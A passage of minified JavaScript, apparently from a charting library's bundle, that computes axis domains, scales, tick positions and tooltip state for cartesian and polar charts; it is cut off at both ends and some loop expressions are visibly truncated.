t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(a){function o(){return a.apply(this,arguments)}return o.toString=function(){return a.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(a){var o=i[0],l=i[1];return o<=l?a>=o&&a<=l:a>=l&&a<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?a=>t.call(e,a):void 0,map:(a,o)=>{var l=e(a);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function cb(e,t,n){if(typeof e=="function")return lb(e.copy().domain(t).range(n));if(e!=null){var r=oI(e);if(r!=null)return r.domain(t).range(n),lb(r)}}var _4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!Tr(t)){for(var n,r,i=0;ir)&&(r=a))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function ub(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Cu(e){for(var t=1;te.cartesianAxis.xAxis[t],Wr=(e,t)=>{var n=dI(e,t);return n??O4},T4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:oh,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:Qo},fI=(e,t)=>e.cartesianAxis.yAxis[t],Ur=(e,t)=>{var n=fI(e,t);return n??T4},pI={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},z0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??pI},tt=(e,t,n)=>{switch(t){case"xAxis":return Wr(e,n);case"yAxis":return Ur(e,n);case"zAxis":return z0(e,n);case"angleAxis":return w0(e,n);case"radiusAxis":return j0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},mI=(e,t,n)=>{switch(t){case"xAxis":return Wr(e,n);case"yAxis":return Ur(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},hs=(e,t,n)=>{switch(t){case"xAxis":return Wr(e,n);case"yAxis":return Ur(e,n);case"angleAxis":return w0(e,n);case"radiusAxis":return j0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},M4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function C0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var L4=e=>e.graphicalItems.cartesianItems,hI=T([Ze,sl],C0),P0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 0:t.includeHidden)===!0?!0:!r.hide),ol=T([L4,tt,hI],P0,{memoizeOptions:{resultEqualityCheck:Xd}}),I4=T([ol],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(S0)),D4=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),xI=T([ol],D4),E0=e=>e.map(t=>t.data).filter(Boolean).flat(1),vI=T([ol],E0,{memoizeOptions:{resultEqualityCheck:Xd}}),A0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},_0=T([vI,u4],A0),O0=(e,t,n)=>(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Fe(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Fe(i,r)}))):e.map(r=>({value:r})),Zd=T([_0,tt,ol],O0);function R4(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function hc(e){if(Pr(e)||e instanceof Date){var t=Number(e);if(ze(t))return t}}function db(e){if(Array.isArray(e)){var t=[hc(e[0]),hc(e[1])];return Tr(t)?t:void 0}var n=hc(e);if(n!=null)return[n,n]}function Mr(e){return e.map(hc).filter(tr)}function gI(e,t,n){return!n||typeof t!="number"||or(t)?[]:n.length?Mr(n.flatMap(r=>{var i=Fe(e,r.dataKey),a,o;if(Array.isArray(i)?[a,o]=i:a=o=i,!(!ze(a)||!ze(o)))return[t-a,t+o]})):[]}var mt=e=>{var t=wt(e),n=ms(e);return hs(e,t,n)},ll=T([mt],e=>e==null?void 0:e.dataKey),yI=T([I4,u4,mt],A4),$4=(e,t,n,r)=>{var i={},a=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(a).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(N0);return[l,{stackedData:rT(e,d,n),graphicalItems:u}]}))},B4=T([yI,I4,al,j4],$4),F4=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:a}=t;if(r==null&&n!=="zAxis"){var o=oT(e,i,a);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},bI=T([tt],e=>e.allowDataOverflow),T0=e=>{var t;if(e==null||!("domain"in e))return oh;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=Mr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:oh},M0=T([tt],T0),L0=T([M0,bI],d4),wI=T([B4,Fr,Ze,L0],F4,{memoizeOptions:{resultEqualityCheck:Gd}}),Qd=e=>e.errorBars,jI=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>R4(n,r)),Pu=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var a,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>R4(i,v)),m=Fe(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=gI(l,m,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(a==null||xo)&&(o=g)}var y=db(m);y!=null&&(a=a==null?y[0]:Math.min(a,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=db(Fe(l,t.dataKey));c!=null&&(a=a==null?c[0]:Math.min(a,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),ze(a)&&ze(o))return[a,o]},kI=T([_0,tt,xI,Qd,Ze],I0,{memoizeOptions:{resultEqualityCheck:Gd}});function NI(e){var{value:t}=e;if(Pr(t)||t instanceof Date)return t}var SI=(e,t,n)=>{var r=e.map(NI).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&Fj(r))?AN(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},W4=e=>e.referenceElements.dots,xs=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),zI=T([W4,Ze,sl],xs),U4=e=>e.referenceElements.areas,CI=T([U4,Ze,sl],xs),V4=e=>e.referenceElements.lines,PI=T([V4,Ze,sl],xs),H4=(e,t)=>{if(e!=null){var n=Mr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},EI=T(zI,Ze,H4),K4=(e,t)=>{if(e!=null){var n=Mr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},AI=T([CI,Ze],K4);function _I(e){var t;if(e.x!=null)return Mr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:Mr(n)}function OI(e){var t;if(e.y!=null)return Mr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:Mr(n)}var q4=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?_I(r):OI(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},TI=T([PI,Ze],q4),MI=T(EI,TI,AI,(e,t,n)=>Pu(e,n,t)),D0=(e,t,n,r,i,a,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?Pu(r,a,i):Pu(a,i);return H7(t,u,e.allowDataOverflow)},LI=T([tt,M0,L0,wI,kI,MI,Me,Ze],D0,{memoizeOptions:{resultEqualityCheck:Gd}}),II=[0,1],R0=(e,t,n,r,i,a,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=dr(t,a);if(u&&l==null){var d;return AN(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?SI(r,e,u):i==="expand"?II:o}},$0=T([tt,Me,_0,Zd,al,Ze,LI],R0);function DI(e){return e in qs}var Y4=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var a="scale".concat(Go(r));return DI(a)?a:"point"}}},Ni=T([tt,M4,g0],Y4);function B0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?cb(e.scale,n,r):cb(t,n,r)}var F0=(e,t,n)=>{var r=T0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Tr(e))return X7(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Tr(e))return Z7(e,t.tickCount,t.allowDecimals)}},W0=T([$0,hs,Ni],F0),U0=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&Tr(t)&&Array.isArray(n)&&n.length>0){var i,a,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(a=n[n.length-1])!==null&&a!==void 0?a:0;return[Math.min(o,l),Math.max(c,u)]}return t},RI=T([tt,$0,W0,Ze],U0),$I=T(Zd,tt,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(Mr(e.map(f=>f.value))).sort((f,m)=>f-m),i=r[0],a=r[r.length-1];if(i==null||a==null)return 1/0;var o=a-i;if(o===0)return 1/0;for(var l=0;li,(e,t,n,r,i)=>{if(!ze(e))return 0;var a=t==="vertical"?r.height:r.width;if(i==="gap")return e*a/2;if(i==="no-gap"){var o=sn(n,e*a),l=e*a/2;return l-o-(l-o)/a*o}return 0}),BI=(e,t,n)=>{var r=Wr(e,t);return r==null||typeof r.padding!="string"?0:G4(e,"xAxis",t,n,r.padding)},FI=(e,t,n)=>{var r=Ur(e,t);return r==null||typeof r.padding!="string"?0:G4(e,"yAxis",t,n,r.padding)},WI=T(Wr,BI,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),UI=T(Ur,FI,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),VI=T([yt,WI,Od,_d,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:a}=r;return i?[a.left,n.width-a.right]:[e.left+t.left,e.left+e.width-t.right]}),HI=T([yt,Me,UI,Od,_d,(e,t,n)=>n],(e,t,n,r,i,a)=>{var{padding:o}=i;return a?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),cl=(e,t,n,r)=>{var i;switch(t){case"xAxis":return VI(e,n,r);case"yAxis":return HI(e,n,r);case"zAxis":return(i=z0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return C4(e);case"radiusAxis":return P4(e,n);default:return}},X4=T([tt,cl],qd),KI=T([Ni,RI],_4),Jd=T([tt,Ni,KI,X4],B0);T([ol,Qd,Ze],jI);function Z4(e,t){return e.idt.id?1:0}var ef=(e,t)=>t,tf=(e,t,n)=>n,qI=T(Ed,ef,tf,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(Z4)),YI=T(Ad,ef,tf,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(Z4)),Q4=(e,t)=>({width:e.width,height:t.height}),GI=(e,t)=>{var n=typeof t.width=="number"?t.width:Qo;return{width:n,height:e.height}};T(yt,Wr,Q4);var XI=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},ZI=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},QI=T($r,yt,qI,ef,tf,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=Q4(t,l);o==null&&(o=XI(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;a[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),a}),JI=T(Rr,yt,YI,ef,tf,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=GI(t,l);o==null&&(o=ZI(t,r,e));var u=r==="left"&&!i||r==="right"&&i;a[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),a}),eD=(e,t)=>{var n=Wr(e,t);if(n!=null)return QI(e,n.orientation,n.mirror)};T([yt,Wr,eD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var tD=(e,t)=>{var n=Ur(e,t);if(n!=null)return JI(e,n.orientation,n.mirror)};T([yt,Ur,tD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});T(yt,Ur,(e,t)=>{var n=typeof t.width=="number"?t.width:Qo;return{width:n,height:e.height}});var J4=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:a,dataKey:o}=n,l=dr(e,r),c=t.map(u=>u.value);if(o&&l&&a==="category"&&i&&Fj(c))return c}},V0=T([Me,Zd,tt,Ze],J4),e3=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:a}=n,o=dr(e,r);if(o&&(i==="number"||a!=="auto"))return t.map(l=>l.value)}},H0=T([Me,Zd,hs,Ze],e3);T([Me,mI,Ni,Jd,V0,H0,cl,W0,Ze],(e,t,n,r,i,a,o,l,c)=>{if(t!=null){var u=dr(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:a,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var nD=(e,t,n,r,i,a,o,l,c)=>{if(!(t==null||r==null)){var u=dr(e,c),{type:d,ticks:f,tickCount:m}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&a!=null&&a.length>=2?Ut(a[0]-a[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return ze(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(tr):u&&l?l.map((y,v)=>{var b=r.map(y);return ze(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(tr):r.ticks?r.ticks(m).map((y,v)=>{var b=r.map(y);return ze(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(tr):r.domain().map((y,v)=>{var b=r.map(y);return ze(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(tr)}};T([Me,hs,Ni,Jd,W0,cl,V0,H0,Ze],nD);var rD=(e,t,n,r,i,a,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=dr(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?Ut(r[0]-r[1])*2*u:u,l&&a?a.map((d,f)=>{var m=n.map(d);return ze(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(tr):n.ticks?n.ticks(c).map((d,f)=>{var m=n.map(d);return ze(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(tr):n.domain().map((d,f)=>{var m=n.map(d);return ze(m)?{coordinate:m+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(tr)}},t3=T([Me,hs,Jd,cl,V0,H0,Ze],rD),n3=T(tt,Jd,(e,t)=>{if(!(e==null||t==null))return Cu(Cu({},e),{},{scale:t})}),iD=T([tt,Ni,$0,X4],B0);T((e,t,n)=>z0(e,n),iD,(e,t)=>{if(!(e==null||t==null))return Cu(Cu({},e),{},{scale:t})});var aD=T([Me,Ed,Ad],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),r3=e=>e.options.defaultTooltipEventType,i3=e=>e.options.validateTooltipEventTypes;function a3(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function K0(e,t){var n=r3(e),r=i3(e);return a3(t,n,r)}function sD(e){return ye(t=>K0(t,e))}var s3=(e,t)=>{var n,r=Number(t);if(!(or(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},oD=e=>e.tooltip.settings,Zr={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},lD={itemInteraction:{click:Zr,hover:Zr},axisInteraction:{click:Zr,hover:Zr},keyboardInteraction:Zr,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},o3=Xt({name:"tooltip",initialState:lD,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:Ue()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Fn(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:Ue()},removeTooltipEntrySettings:{reducer(e,t){var n=Fn(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:Ue()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:cD,replaceTooltipEntrySettings:uD,removeTooltipEntrySettings:dD,setTooltipSettingsState:fD,setActiveMouseOverItemIndex:l3,mouseLeaveItem:pD,mouseLeaveChart:c3,setActiveClickItemIndex:mD,setMouseOverAxisIndex:u3,setMouseClickAxisIndex:hD,setSyncInteraction:lh,setKeyboardInteraction:ch}=o3.actions,xD=o3.reducer;function fb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Vl(e){for(var t=1;t{if(t==null)return Zr;var i=bD(e,t,n);if(i==null)return Zr;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var a=e.settings.active===!0;if(wD(i)){if(a)return Vl(Vl({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return Vl(Vl({},Zr),{},{coordinate:i.coordinate})};function jD(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function kD(e,t){var n=jD(e),r=t[0],i=t[1];if(n===void 0)return!1;var a=Math.min(r,i),o=Math.max(r,i);return n>=a&&n<=o}function ND(e,t,n){if(n==null||t==null)return!0;var r=Fe(e,t);return r==null||!Tr(n)?!0:kD(r,n)}var q0=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var a=Number(i);if(!ze(a))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(a,l)),u=t[c];return u==null||ND(u,n,r)?String(c):null},f3=(e,t,n,r,i,a,o)=>{if(a!=null){var l=o[0],c=l==null?void 0:l.getPosition(a);if(c!=null)return c;var u=i==null?void 0:i[Number(a)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},p3=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var a=e.tooltipItemPayloads[0];return a!=null?[a]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},m3=e=>e.options.tooltipPayloadSearcher,vs=e=>e.tooltip;function pb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function mb(e){for(var t=1;t{if(!(t==null||a==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((m,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=PD(g,l),b=Array.isArray(v)?Xk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 0:y.nameKey,k;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?k=Wj(b,r,i):k=a(b,t,c,j),Array.isArray(k))k.forEach(N=>{var z=mb(mb({},y),{},{name:N.name,unit:N.unit,color:void 0,fill:void 0});m.push(jy({tooltipEntrySettings:z,dataKey:N.dataKey,payload:N.payload,value:Fe(N.payload,N.dataKey),name:N.name}))});else{var S;m.push(jy({tooltipEntrySettings:y,dataKey:w,payload:k,value:Fe(k,w),name:(S=Fe(k,j))!==null&&S!==void 0?S:y==null?void 0:y.name}))}return m},f)}},Y0=T([mt,M4,g0],Y4),ED=T([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),AD=T([wt,ms],C0),gs=T([ED,mt,AD],P0,{memoizeOptions:{resultEqualityCheck:Xd}}),_D=T([gs],e=>e.filter(S0)),OD=T([gs],E0,{memoizeOptions:{resultEqualityCheck:Xd}}),ys=T([OD,Fr],A0),TD=T([_D,Fr,mt],A4),G0=T([ys,mt,gs],O0),x3=T([mt],T0),MD=T([mt],e=>e.allowDataOverflow),v3=T([x3,MD],d4),LD=T([gs],e=>e.filter(S0)),ID=T([TD,LD,al,j4],$4),DD=T([ID,Fr,wt,v3],F4),RD=T([gs],D4),$D=T([ys,mt,RD,Qd,wt],I0,{memoizeOptions:{resultEqualityCheck:Gd}}),BD=T([W4,wt,ms],xs),FD=T([BD,wt],H4),WD=T([U4,wt,ms],xs),UD=T([WD,wt],K4),VD=T([V4,wt,ms],xs),HD=T([VD,wt],q4),KD=T([FD,HD,UD],Pu),qD=T([mt,x3,v3,DD,$D,KD,Me,wt],D0),ul=T([mt,Me,ys,G0,al,wt,qD],R0),YD=T([ul,mt,Y0],F0),GD=T([mt,ul,YD,wt],U0),g3=e=>{var t=wt(e),n=ms(e),r=!1;return cl(e,t,n,r)},y3=T([mt,g3],qd),b3=T([mt,Y0,GD,y3],B0),XD=T([Me,G0,mt,wt],J4),ZD=T([Me,G0,mt,wt],e3),QD=(e,t,n,r,i,a,o,l)=>{if(t){var{type:c}=t,u=dr(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?Ut(i[0]-i[1])*2*f:f,u&&o?o.map((m,h)=>{var x=r.map(m);return ze(x)?{coordinate:x+f,value:m,index:h,offset:f}:null}).filter(tr):r.domain().map((m,h)=>{var x=r.map(m);return ze(x)?{coordinate:x+f,value:a?a[m]:m,index:h,offset:f}:null}).filter(tr)}}},Vr=T([Me,mt,Y0,b3,g3,XD,ZD,wt],QD),X0=T([r3,i3,oD],(e,t,n)=>a3(n.shared,e,t)),w3=e=>e.tooltip.settings.trigger,Z0=e=>e.tooltip.settings.defaultIndex,dl=T([vs,X0,w3,Z0],d3),ns=T([dl,ys,ll,ul],q0),j3=T([Vr,ns],s3),k3=T([dl],e=>{if(e)return e.dataKey}),JD=T([dl],e=>{if(e)return e.graphicalItemId}),N3=T([vs,X0,w3,Z0],p3),eR=T([Rr,$r,Me,yt,Vr,Z0,N3],f3),tR=T([dl,eR],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),nR=T([dl],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),rR=T([N3,ns,Fr,ll,j3,m3,X0],h3),iR=T([rR],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function hb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function xb(e){for(var t=1;tye(mt),cR=()=>{var e=lR(),t=ye(Vr),n=ye(b3);return su(!e||!n?void 0:xb(xb({},e),{},{scale:n}),t)};function vb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ma(e){for(var t=1;t{var i=t.find(a=>a&&a.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},mR=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var a=i.coordinate,{radius:o}=r;return ma(ma(ma({},r),st(r.cx,r.cy,o,a)),{},{angle:a,radius:o})}var l=i.coordinate,{angle:c}=r;return ma(ma(ma({},r),st(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function hR(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var S3=(e,t,n,r,i)=>{var a,o=(a=t==null?void 0:t.length)!==null&&a!==void 0?a:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 